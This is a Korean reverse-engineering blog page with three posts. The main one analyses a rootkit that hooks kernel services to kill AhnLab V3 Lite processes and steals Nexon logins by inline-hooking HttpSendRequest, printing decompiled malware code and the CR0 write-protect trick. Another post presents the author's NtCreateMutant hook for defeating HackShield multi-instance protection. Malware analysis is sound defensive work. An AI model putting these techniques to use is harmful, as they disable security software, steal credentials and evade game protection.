805d49cb c645ff01        mov     byte ptr [ebp-1],1
805d49cf eb08            jmp     nt!NtTerminateProcess+0x2d (805d49d9)
805d49d1 834d08ff        or      dword ptr [ebp+8],0FFFFFFFFh
0: kd> u
nt!NtTerminateProcess+0x29:
805d49d5 c645ff00        mov     byte ptr [ebp-1],0
805d49d9 8a8740010000    mov     al,byte ptr [edi+140h]
805d49df 6a00            push    0
805d49e1 8845f8          mov     byte ptr [ebp-8],al
805d49e4 8d45f8          lea     eax,[ebp-8]
805d49e7 50              push    eax
805d49e8 ff75f8          push    dword ptr [ebp-8]
805d49eb ff35b8595680    push    dword ptr [nt!PsProcessType (805659b8)]
0: kd> u
nt!NtTerminateProcess+0x45:
805d49f1 e97ac06778      jmp     sysnames+0xa70 (f8c50a70)
805d49f6 e8a58afeff      call    nt!ObReferenceObjectByHandle (805bd4a0)
805d49fb 85c0            test    eax,eax
805d49fd 8b75f8          mov     esi,dword ptr [ebp-8]
805d4a00 8bde            mov     ebx,esi
805d4a02 0f8ce8000000    jl      nt!NtTerminateProcess+0x144 (805d4af0)
805d4a08 8d8648020000    lea     eax,[esi+248h]
805d4a0e f6400120        test    byte ptr [eax+1],20h

ObReferenceObjectByHandle을 호출하기전에  자신의 드라이버로 건너뛰게 패치되어져 있습니다.
즉 , Ahnlab V3 라이트에서는  
call   nt!ObReferenceObjectByHandle (805bd4a0) 부분을 Inline Hook 작성해놨을 가능성이 크다는거죠.

결론적으로 NtOpenProcess와  NtTerminateProcess를 후킹하는목적은
Ahnlab V3 Lite의  자가보호 기능을 무력화 시키기 위함입니다.

강제 종료 로직은 , 유저모드 DLL에서 수행하는것이 아닌 , 커널모드 루트킷에서 강제종료를 수행하는것으로 분석되었습니다.
(나중에 해당 로직이 나옵니다.)


해커에게 표적이 된 프로세스 목록은 다음과 같습니다.

 'V3LTray.exe'
 'KSWebShield.exe'
'SgSvc.exe'
 'V3LSvc.exe'
 'V3Light.exe'


참고로 이 악성코드에 감염되게 되면 , 현재 V3 라이트가 실행중이라면 V3 라이트 가 종료되게 되고,
V3 라이트가 시스템에 설치되어져 있지않은 상태에서 , V3 라이트를 설치해서 실행하려고 하면
V3 라이트와 사이트가드 관련 서비스는 실시간으로 모두 강제 종료되게되서 , 전혀 작동하지 않는 상태가 됩니다.


 
이제 프로세스를 어떻게 강제로 종료시키는지, 해당 부분을 알아봅시다.
아래는 강제종료에 관련한 코드를  IDA Hexray를 이용해서 나타낸 것입니다.

(참고 : 아래 부분은 PsSetCreateProcessNotifyRoutine에 의해서 프로세스 생성 , 종료시 호출되는 NotifyRoutine으로 등록된 부분의 핵심부분을 나타낸겁니다.)


result = PsLookupProcessByProcessId(a2, &v9);
    if ( result >= 0 )
    {
      if ( v9 )
      {
        v4 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v4, "V3LTray.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v5 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v5, "KSWebShield.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v6 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v6, "SgSvc.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v7 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v7, "V3LSvc.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v8 = (const char *)PsGetProcessImageFileName(v9);
        result = stricmp(v8, "V3Light.exe");
        if ( !result )
        {
          dword_11490 = a2;
          result = PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }

해당 프로세스를 발견하면  시스템쓰레드를 생성해서 특정한 작업을 수행합니다.
StartRoutine을 살펴보니 다음과 같았습니다.


NTSTATUS __stdcall StartRoutine(int a1)
{
  sub_10A90(5000);
  sub_10D10((void *)dword_11490);
  return PsTerminateSystemThread(0);
}
NTSTATUS __stdcall sub_10A90(int a1)
{
  LARGE_INTEGER Interval; // [sp+0h] [bp-8h]@1

  Interval = (LARGE_INTEGER)(-10000i64 * a1);
  return KeDelayExecutionThread(0, 0, &Interval);
}
NTSTATUS __stdcall sub_10D10(void *a1)
{
  OBJECT_ATTRIBUTES ObjectAttributes; // [sp+4h] [bp-28h]@1
  void *v3; // [sp+1Ch] [bp-10h]@1
  CLIENT_ID ClientId; // [sp+20h] [bp-Ch]@1
  HANDLE Handle; // [sp+28h] [bp-4h]@1

  Handle = 0;
  v3 = a1;
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 0;
  ObjectAttributes.ObjectName = 0;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  ClientId.UniqueProcess = a1;
  ClientId.UniqueThread = 0;
  if ( !NtOpenProcess(&Handle, 0x1F0FFFu, &ObjectAttributes, &ClientId) )
    ((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
  return ZwClose(Handle);
}

위 코드에서 주목해야할 부분은 
    ((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
부분입니다.

NtOpenProcess를 먼저 호출한뒤에 , NtOpenProcess가 성공한다면 STATUS_SUCCESS (0x00000000L) 이 리턴될것이고

그러면 dword_11494의 함수포인터를 호출하겠죠.
dword_11494가 무엇인지 확인해보기 위해서  코드 레퍼런스를 추적해보니  다음과 같은 디스어셈블 코드가 나왔습니다.
mov     edx, ds:KeServiceDescriptorTable
mov     eax, [edx]
add     eax, 404h

mov     [ebp+var_C], eax
mov     ecx, [ebp+var_C]
mov     edx, [ecx]
mov     dword_11494, edx


위 코드의 의미를 WinDBG에서 먹히는 명령어로 변환해보면 다음과 같습니다.
0: kd> dds poi(KeServiceDescriptorTable) + 0x404
80506864  805d49ac nt!NtTerminateProcess
80506868  805d4ba6 nt!NtTerminateThread
8050686c  805d6c0c nt!NtTestAlert
80506870  80537108 nt!NtTraceEvent
80506874  8061811e nt!NtTranslateFilePath
80506878  805862ce nt!NtUnloadDriver
8050687c  80624062 nt!NtUnloadKey
80506880  8062427c nt!NtUnloadKeyEx

0: kd> r $t0 = poi(KeServiceDescriptorTable) + 0x404
0: kd> r $t1 = poi(@$t0)

0: kd> u @$t1
nt!NtTerminateProcess:
805d49ac 8bff            mov     edi,edi
805d49ae 55              push    ebp
805d49af 8bec            mov     ebp,esp
805d49b1 83ec10          sub     esp,10h
805d49b4 53              push    ebx
805d49b5 56              push    esi
805d49b6 57              push    edi
805d49b7 64a124010000    mov     eax,dword ptr fs:[00000124h]

0: kd> r $t2 = poi(@$t1)
0: kd> r $t2
$t2=8b55ff8b  (Byte 참조 순서가 거꾸로인 이유는  IA-32 Compatible CPU는  Little Endian 방식의 메모리 참조를 하기 때문.)


자...이제 아시겠죠?
NtTerminateProcess를 커널모드에서도 호출하고 있음을 명확하게 확인할 수 있습니다.
0x404는  서비스넘버를 하드코딩한것으로 보입니다.
PsGetVersion을 호출해서 OS별로 서비스넘버를 하드코딩한게 아니라 ,
그냥  MS WindowsXP SP3 버젼을 기준으로 해서 서비스넘버를 하드코딩 한것으로 보입니다.
따라서 이 악성코드는  윈도우XP 서비스팩3 버젼이 아닌, 다른 버젼의 NT OS(Vista , 7 , XP SP2 등) 에서 실행했을 경우,
또는 다른 커널모드 보안 드라이버와 충돌할 경우  ,블루스크린이 발생할 가능성이 있습니다.



결과적으로 이 로직의 순서는 다음과 같습니다.

PsSetCreateProcessNotifyRoutine을 호출하여 , NotifyRoutine을 설치해둠.
( 프로세스 생성과 종료시 , NotifyRoutine이 실행됨)

- 아래 내용은 프로세스가 생성, 종료될때마다 실행됩니다. (NotifyRoutine) -

1. PsLookupProcessByProcessId를 호출해서 해당 프로세스의 PEPROCESS를 얻어오고, 
PEPROCESS를 인자로 넘기면서 PsGetProcessImageFileName을 호출하여 V3 관련 프로세스가 실행중인지 확인.

2. 타겟 프로세스가 발견되면 특정 목적을 수행하는 시스템쓰레드를 생성.

3. 시스템쓰레드는 KeDelayExecutionThread를 호출해서 약 5초간 쓰레드 실행을 지연시킴.

4. NtOpenProcess를 호출하여, 성공하면 핸들을 반환.(이미 후킹되어져 있기때문에 거의 성공함)

5. HANDLE값과 ExitCode 값 0을 인자로 넘기면서 , NtTerminateProcess를 호출하여  해당 프로세스 종료.

6. ZwClose를 호출해서 Usage Count를 내림.

7. 시스템쓰레드 자동 폭파.

이상으로 , 이 악성코드에서  V3관련 프로세스를 때려부수기 위한 로직은 대충 파악을 끝낸것 같습니다.




아참 , 그리고 SSDT에 수정을 가하기 위해서
MDL을 쓰느냐  , CR0 Hook을 쓰느냐  궁금해하실 분들이 계실수도 있는데,
이 루트킷에서는 CR0 Hook 방식을 사용하더군요.
정확히 말하자면  Intel IA-32 CPU의 Control Register 0번의  Write Protection Bit를  1에서 0으로 조작하는 형태입니다.
이 작업을 수행하는 코드는 이미 널리 알려진대로 다음과 같습니다.
  PUSH EAX
  MOV EAX,CR0
  AND EAX,0xFFFEFFFF
  MOV CR0,EAX
  POP EAX

참고로 이 드라이버는 아주 더럽게도  DriverUnload에 어떠한 언로드 코드도 넣어두지 않고 있습니다.
완전 더러운놈들이죠...드라이버 언로드 되도 끝까지 살아남겠다는 그 의지!
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11170;
void __stdcall sub_11170(int a1)
{
  ;
}
이런 더러운 놈들!



& Baidog.dat 추가적인 정보 &

* v3ltray.exe가 윈도우 부팅 시 자동으로 실행되지 않게끔 레지스트리에서 값을 제거하는 기능을 가지고 있음.





여기서부터는 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.




*  WININET.DLL에서 제공하는 함수인  HttpSendRequestA와  HttpSendRequestW 함수를 후킹해서
넥슨 홈페이지에 ID와 비밀번호를 입력해서 로그인할때 , ID와 비밀번호를 훔쳐내는 기능을 가지고 있음.


아래는 API Inline 후킹된 모습을 나타내는 스샷입니다.
First Bytes를 Inline Patch해서  해커가 코딩한 영역으로 끌고오는 모습을 확인할 수 있습니다.



넥슨 홈페이지에 접속해서
ID에다가  THIS_IS_ID
Password 에다가 THIS_IS_PASS
라고 치고  로그인을 해보겠습니다.



고스란히  Baidog.dat 메모리 영역에  ID와 비밀번호가 찍히고 있는 모습을 확인할 수가 있습니다.
strNexon ID= 라는 문자열과  strPassword= 라는 문자열이 있는것으로 봐서  철저히 패턴 위주로 문자열을 탐색하고 있음을 짐작해볼 수 있습니다.
저 부분에 엑세스하는 모든 주소를 캡쳐해보았는데 , 브포가 걸린 지점에서 콜스택을 확인해보니 다음과 같이 나왔습니다.


0x10003488 주소에 대해서 RtlZeroMemory를 수행하던 도중에 , 중지되었습니다.

콜 스택을 확인해보니 , 다음과 같이 전개되었음을 유추할수 있겠네요.

로그인버튼 누름 ->IE에서 아이디와 비밀번호를 인자로 전달하여 , HttpSendRequestW 호출 -> HttpSendRequestW에서 해커가 코딩한 영역으로 점프함  -> 아이디와 비밀번호를 저장하는영역(배열) 을 RtlZeroMemory 를 호출해서 0으로 초기화 시킴.  -> 해당 영역을 가로챈 아이디와 비밀번호로 채움.   


HttpSendRequestW 함수가 호출되면서 인자로 strNexonId와  strPassword가 전달됨을 확인할 수 있습니다.
그런데 HttpSendRequestW는 현재 API Inline Hook 된 상태입니다.
당연히 해커가 작성한 프로그램영역으로 넘어오겠죠?
해커는 굴러들어온 인자를 적절히 문자열 컨트롤만 해주면 됩니다.
즉 , 넥슨사이트의 ID와 비밀번호 전송 알고리즘 부분은 이미 중국해커에게 모두다 분석 당한 상태이고,
중국해커는 그 부분을 이용해서 손쉽게 넥슨ID와 비밀번호를 털어내가고 있는것입니다.

위와같이 정보를 빼가는 방식은  키보드보안이나 개인방화벽의 작동여부와는 일백퍼센트 무관한 경우입니다.


결국엔 이 악성코드에 감염되고 나서 , 게임을 접속하지않고 ,  
IE를 이용해서 넥슨 관련 모든 홈페이지에 로그인 접속만 하면
넥슨계정은 털리게 될것입니다.


넥슨은 이쯤에서  사이트 리모델링을 해야될 필요성이 있습니다.
아니 , 어찌보면 우리나라가 인터넷익스플로러에 찌들었다는게 참 안타까운 현실입니다..........




** 추가정보 **
HttpSendRequestA , HttpSendRequestW 의 후킹 여부를 탐지해주는 프로그램





악성코드에 관한 정보는  많은분들께 도움이 됐으면 좋겠습니다.  (특히나 온라인게임 업계 종사자분들께)





// 2010.4.17 내용 추가


PS2. 이 글 내용과 제목이 뭔가 오해를 불러일으킬만한 소지가 있는것 같네요.
즉 , 이 글을 놓고봤을때 , 넥슨의 아이디와 비밀번호 전송 부분이 분석당해서 넥슨 계정이 대량으로 털리고있으니, 이건 넥슨 잘못이다,  라고  치부해버리는 분들이 계시는데,

여기서 저의 생각을 대략 말씀드리면

이 모든것의 시작은 악성코드 감염으로 인해서 이루어지는것이므로 ,
1차적인 책임은 유저들에 있습니다. (개인부주의로 인한 - 각종 인터넷습관 등)
무작정 넥슨의 책임으로 몰아가기에는 무리가 있다는 말입니다.
해커는 단지 사용자들이 악성코드에 감염되길 바라고 있을뿐입니다.




//2010. 6. 3 내용 추가
위 내용대로 HttpSendRequestA와  HttpSendRequestW의 후킹을 이용해서 
ID와 비밀번호를 탈취하는것은 이제 막혔습니다.
아이디와 비밀번호를 암호화해서 전송하는 방식으로 바뀌었습니다.
따라서 , 이 암호화부분이 분석되기전까지는 API 후킹을 통한 넥슨계정탈취 수법은 통하지 않을겁니다.
저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

'Reverse Engineering' 카테고리의 다른 글

flo`s Notepad2 4.1.24  (1) 2010.04.04
AT4RE JOINER 4.0  (5) 2010.04.04
넥슨 온라인게임 악성코드에 관한 분석  (89) 2010.03.25
W32Dasm 10.0  (0) 2010.02.04
Kernel Detective 1.3.1  (5) 2010.01.23
모 온라인 게임 보안 프로그램이 후킹하는 SDT 함수들  (6) 2009.12.21
by Sone 2010.03.25 23:47
Arab Team 4 Reverse Engineering  에서 Kernel Detective라는 툴을 새롭게 내놓았습니다.
사실 배포된지는 꽤 됐죠.




기능을 살펴보면 , 

- 프로세스,쓰레드 정보 조회( 숨겨진 정보까지 탐지 가능 )
- KPROCESS , KTHREAD, 조회 가능
-  KeServiceDescriptorTable , KeServiceDescriptorTableShadow 변경 여부 조회 가능
- 쓰레드별로 , SSDT , SSDT SHADOW  Change , Restore 가능 ( SSDT Relocation 탐지 가능)
- IDT 조회 가능
- 핸들 조회&닫기 가능
- Kernel Modification 탐지 가능
- Driver 조회&언로드 가능
- 올리디버거 디스어셈블 엔진 내장 (모듈, 드라이버, 쓰레드, 프로세스,  특정 어드레스의 디스어셈블 가능, 실시간 Read/Write 지원)
- DebugView 지원


이건 뭐 딱 봐도 기능들이 초강력한것을 알수 있습니다.
커널모드로 작동하는 왠만한 보안프로그램은 저리가라 수준이네요.
역시나 창과 방패의 대결은 영원히 지속되는군요...(이번엔 방패측에서 조금 고생할수도....)




위 스샷은  카스퍼스키 안티 바이러스 2010  필터 드라이버에서  SSDT와  SSDT SHADOW 를 후킹하고있는것을 탐지한 모습입니다.
네이트온 원격제어로  카스퍼스키 화면을 컨트롤하려고 했을때 , 화면 조작이 되지않는 이유가 , 바로 SSDT Shadow를 후킹하고있기 때문이죠~

저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2010.01.23 00:15
뭐 난 마비노기는 아예 하지도 않지만 , 지인 몇명이 하고있고,
최근에는 후킹에 관심을 쪼까 가지고 있어서~

최근 들어서 Ahnlab의 핵쉴드에도 Named Mutant를 기반으로 한 다중실행 방지기법이 도입되었다.
그 결과  , 핵쉴드를 채용한 대부분의 게임은 일반적인 방법으론 Multiple Execution이 불가능하게 되었는데...

뭐 대충 검색을 통해서 멀티로 마비노기를 하는사람들의 글을 검색해보니...
일명    멀티노기    라는  누가 만든 프로그램이 막혀버려서,

Named Mutex  다중실행 방지방법을 알긴 아는사람이  핵쉴드 언패킹은 못하겠고,  커널 후킹도 못하겠고 하니,
Sysinternal의 Process Explorer 를 이용하여  , Mutant핸들을 강제로 종료시키는 방법을 전파했나보다.
인터넷에 퍼진 방법을 적용하면 뭐 잘 되긴 하지만 ,  실제로는 2개의 Mutant만 종료해주면 되는데,
방법을 살펴보면 그와 관계없는 , 즉 실질적으로  Thread Synchronous에 사용되는  정말 목적이 있는 Mutant까지 종료하는것으로 판단된다. 그러면 Application이  Instable 해질수가 있을텐데...

뭐 잡담은 여기까지 하고,


이 방법이 통하는 원리는,
첫번째로 실행한 클라이언트의 Named Mutant 핸들을 Close 해버리면,
두번째 이상부터 실행되는 클라이언트는 당연히  첫번째 클라이언트가 생성해놓은 Named Mutant의 Exist 여부를 알수없기 때문에,
두번째 클라이언트 역시 새로운 Mutant를 생성하게 되고 , 정상적으로 게임이 실행되는것이다.

마비노기 클라이언트를 분석 해본결과 ,  Mutant 를 이용해서 다중실행방지를 하는  순서는 대략 아래의 과정임을 알수 있었다.
(마비노기 런쳐에서 FindWindow 를 이용해서  다중실행을 감지하는 방법은  너무도 간단하기 때문에  ,여기선 그냥 생략한다.)


아래는 마비노기에서  사용하고 있는 방법을 필자 생각대로 아무렇게나 나열해본 코드이다.

/*
  * Global Variable
  * /
HANDLE hGlobalHShieldMutex;

hGlobalHShieldMutex = OpenMutexA(MUTEX_ALL_ACCESS,FALSE,"Global\\?磵HxFV`rZxF?퐹xv");
if(hGlobalHShieldMutex || GetLastError() == ERROR_ACCESS_DENIED)
{
MessageBoxA(NULL,"핵쉴드가 실행중입니다","에러",MB_OK);
return 518;
}
else
{
hGlobalHShieldMutex = CreateMutexA(NULL,FALSE,"Global\\?磵HxFV`rZxF?퐹xv");
if(hGlobalHShieldMutex == NULL)
{
MessageBoxA(NULL,"핵쉴드 초기화 작업에 실패했습니다","Error",MB_OK);
return 518;
}
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
MessageBoxA(NULL,"핵쉴드가 실행중입니다","Error",MB_OK);
return 518;
}

HANDLE hGlobalDevcatMutex = CreateMutexA(NULL,FALSE,"Global\\Nexon,DevCat,Mabinogi");
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
MessageBoxA(NULL,"마비노기가 이미 실행중입다","Error",MB_OK);
TerminateProcess(GetCurrentProcess(),0);
return;
}
if(hGlobalDevcapMutex == NULL)
{
HANDLE hLocalDevcatMutex = CreateMutexA(NULL,FALSE,"Nexon,DevCat,Mabinogi");
if(GetLastError() == ERROR_ALREADY_EXISTS || hLocalDevcatMutex == NULL)
{
MessageBoxA(NULL,"마비노기가 실행중입니다.","Error",MB_OK);
return;
}
}
}

(위 코드는 필자가 분석 결과를 토대로 지어낸 슈도코드이기 때문에, 원본과 비교했을때 정확하지 않을 수 있음)

분석 결과 ,  핵쉴드 뮤턴트를 검색하여 , 먼저 핵쉴드가 실행중인지 판단한다.
핵쉴드가 실행중이지 않다면 , 글로벌 디브캣 뮤턴트를 생성하고 , 여기서 뮤턴트 생성에 실패하면,
세번째 로컬 뮤턴트를 생성하려고 시도한다.
로컬 뮤턴트 생성에도 실패하면 최종적으로 다중실행이라고 판단하고 종료한다.

개발진 측에서 다중실행 방지에 뭔가 목숨건것 같은 느낌이 든다.


뭐 무력화 하는방법은...
세번째 로컬 뮤턴트는 볼필요없고 , 결국은 첫번째 글로벌 핵쉴드 뮤턴트와 , 두번째 글로벌 디브캣 뮤턴트만 따내버리면 그만이다..
여기서 생각할수 있는 방법이 , 뮤턴트는 Kernel Object이기 때문에 , Kernel을 따내는것이 가장 손쉬운 방법일 것이다.
ZwClose 를 이용한  Mutant Force Close 도 생각해볼 수 있지만,

뭐 초간단하게 조작하는 방법은 어떤것이 있을까...?
개발진 측이 다중실행을 방지하려고 도입한 기법을  되래 역으로 이용하는 방법이 여기 있으니.......
(사실 어디서 퍼온 방법이 아니고 , 모니터 뚫어지게 쳐다보다가 갑자기 생각난 방법임 -_-;)


그 방법은  Named Mutant를 생성하려고 전달된  ObjectAttributes->ObjectName 을
프로세스가 NtCreateMutant를 호출할때마다  Randomize 하게 실시간으로 생성하는 임의의 Mutant Name으로 바꿔버리는 것이다.
그에 해당하는 코드는 아래와 같다.

ULONG CPU_CYCLE_TIME_SINCE_RESET_OR_POWERON;
__asm
{
PUSH EAX
PUSH EDX
RDTSC  //Read Time Stamp Counter  (save to EDX:EAX)
MOV CPU_CYCLE_TIME_SINCE_RESET_OR_POWERON , EAX
POP EDX
POP EAX
}
RtlIntegerToUnicodeString(CPU_CYCLE_TIME_SINCE_RESET_OR_POWERON , 16 , ObjectAttributes->ObjectName);
status = ((NTCREATEMUTANT)OldNtCreateMutant)(
MutantHandle,
DesiredAccess,
ObjectAttributes,
InitialOwner);
DbgPrint(" status : %d",status);
return status;

컴퓨터 전원을 켠뒤,  또는 Asynchronous Reset 이 일어난뒤 , 
CPU의 Cycle Time은  0부터 쭉~ 증가하게 되는데, 이것을 이용한  Named Mutant를 조작하는 방법이다.
RDTSC 명령을 실행하면 
IA32_TIME_STAMP_COUNTER MSR  레지스터에 저장된 타임 스탬프 카운터 값을 읽어서,
EDX:EAX 에  현재 타임 스탬프 카운터 값을 저장한다.
그 후에 그 값을 뮤턴트 네임으로 대체하는 방식이다.

보통 RDTSC는 하드웨어 유틸에서 클럭의 주파수 계산이나 , 
유저모드 API 에서는 GetTickCount , 
커널모드 API 에서는  NtQueryPerformanceCounter 등의  정밀카운터 관련 연산이나
또는 항상 값이 변하는 성질을 이용해서 Randomize 알고리즘에서  근본 소스로 사용되는 경우가 많다.


하나의 예를 들어서 ,  QueryPerformanceCounter를 살펴보자.
우리가 보통 많이 사용하는 QueryPerformanceCounter를  유저모드에서 호출하게되면,
 Kernel에서 NtQueryPerformanceCounter를 호출한다. 
NtQueryPerformanceCounter에서 내부적으로 호출하고있는 함수들의 목록은 아래와 같다.


nt!NtQueryPerformanceCounter (80619682)
  nt!NtQueryPerformanceCounter+0x7 (80619689):
    call to nt!_SEH_prolog (8053db80)
  nt!NtQueryPerformanceCounter+0x3b (806196bd):
    call to nt!ExRaiseDatatypeMisalignment (80616066)
  nt!NtQueryPerformanceCounter+0x65 (806196e7):
    call to nt!ExRaiseDatatypeMisalignment (80616066)
  nt!NtQueryPerformanceCounter+0x7b (806196fd):
    call to hal!KeQueryPerformanceCounter (806edb94)
  nt!NtQueryPerformanceCounter+0xbc (8061973e):
    call to hal!KeQueryPerformanceCounter (806edb94)
  nt!NtQueryPerformanceCounter+0xde (80619760):
    call to nt!_SEH_epilog (8053dbbb)

Hardware Abstraction Layer 에서 제공하고있는 KeQueryPerformanceCounter를 이용하고있음을 볼수있다.
따라서 또 들어가보자.


hal!KeQueryPerformanceCounter:
806edb94 8bff            mov     edi,edi
806edb96 55              push    ebp
806edb97 8bec            mov     ebp,esp
806edb99 5d              pop     ebp
806edb9a ff2548356f80    jmp     dword ptr [hal!HalpHeapStart+0xc (806f3548)]
806edba0 cc              int     3
806edba1 cc              int     3
806edba2 cc              int     3

 hal!HalpHeapStart+0xc 를 dword ptr 만큼 참조하여 , 그 포인터로 점프를 한다.
hal!HalpHeapStart+0xc 에는 그럼 디스어셈블 코드가 있는것은 아닐테고 , 어떠한 포인터값으로 존재할것이다.
어떤것이 있는지 살펴보았더니,


806f3548  806e6c78 hal!HalpAcpiTimerQueryPerfCount
806f354c  806edbb8 hal!HalpAcpiTimerSetTimeIncrement

HalpAcpiTimerQueryPerfCount  라는  커널API가 있다.
이 부분으로 따라가보자.



hal!HalpAcpiTimerQueryPerfCount:
806e6c78 a0dcf06e80      mov     al,byte ptr [hal!HalpUse8254 (806ef0dc)]
806e6c7d 0ac0            or      al,al
806e6c7f 752d            jne     hal!HalpAcpiTimerQueryPerfCount+0x36 (806e6cae)
806e6c81 8b4c2404        mov     ecx,dword ptr [esp+4]
806e6c85 0bc9            or      ecx,ecx
806e6c87 7412            je      hal!HalpAcpiTimerQueryPerfCount+0x23 (806e6c9b)
806e6c89 64a1a4000000    mov     eax,dword ptr fs:[000000A4h]
806e6c8f 648b15a8000000  mov     edx,dword ptr fs:[0A8h]
806e6c96 8901            mov     dword ptr [ecx],eax
806e6c98 895104          mov     dword ptr [ecx+4],edx
806e6c9b 0f31            rdtsc
806e6c9d 640305ac000000  add     eax,dword ptr fs:[0ACh]
806e6ca4 641315b0000000  adc     edx,dword ptr fs:[0B0h]
806e6cab c20400          ret     4
806e6cae 8b4c2404        mov     ecx,dword ptr [esp+4]
806e6cb2 0bc9            or      ecx,ecx

위 코드에서 확인할수있다시피 , 결국은  그 근본은 RDTSC라는 것이다.
RDTSC를 실행하여 , EDX : EAX에 타임스탬프카운터를 얻어온뒤에 , 
eax는  dword ptr fs:[0ACh]와 ADD 연산을 하고 ,  edx는 dword ptr fs:[0B0h]와 ADD 연산을 한뒤 , 그값을 반환한다.  
(결과가 너무 허무한가?)

참고로 RDTSC Instruction은   
x86 CPU의  Control Register 4 의  2번 Bit인 
Time Stamp Disable (TSD)가  1로 세트되어져 있으면 ,  Ring0에서만 써먹을 수 있고,
TSD가 0으로 클리어 되어져 있으면 ,  모든 권한의 레벨에서 사용할 수 있다.
이 권한을 제어하기 위해선 CR4를 컨트롤이 필요한데 , 
CR4에 접근하기 위한 특권레벨은 Ring 0 에서만 가능하므로 , 당연히 드라이버가 필요하다.

아래는  IA32 Manual 3A의  2-23에서 발췌한 내용이다.

TSDTime Stamp Disable (bit 2 of CR4) — Restricts the execution of the RDTSC instruction (including RDTSCP instruction if CPUID.80000001H:EDX[27] = 1) to procedures running at privilege level 0 when setallows RDTSC instruction(including RDTSCP instruction if CPUID.80000001H:EDX[27] = 1) to be executed at any privilege level when clear.


뭐 결론적으로 
위 방법을 응용하면 , 현재 보안솔루션이 채택된 대부분 게임들의 멀티로더 만들기가 가능해질 것이다.
n사의 GG는 초기화작업에서 SSDT Restore를 수행한다고 들었는데 , 뭐 개인적으로 분석해보지는 않아서 가능할지 여부는 확실하지않다.
이때까지 유저모드에서  ReadProcessMemory , WriteProcessMemory ,  CreateFile-WriteFile 만을 이용해서 멀티 만드신분들은 쬐까 참고하셔도 될듯...
제 블로그 눈빠지게 모니터링 하시는 보안요원들께도 좋은 정보가 됐으면 좋겠네영
저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2009.11.23 02:31
| 1 |

티스토리 툴바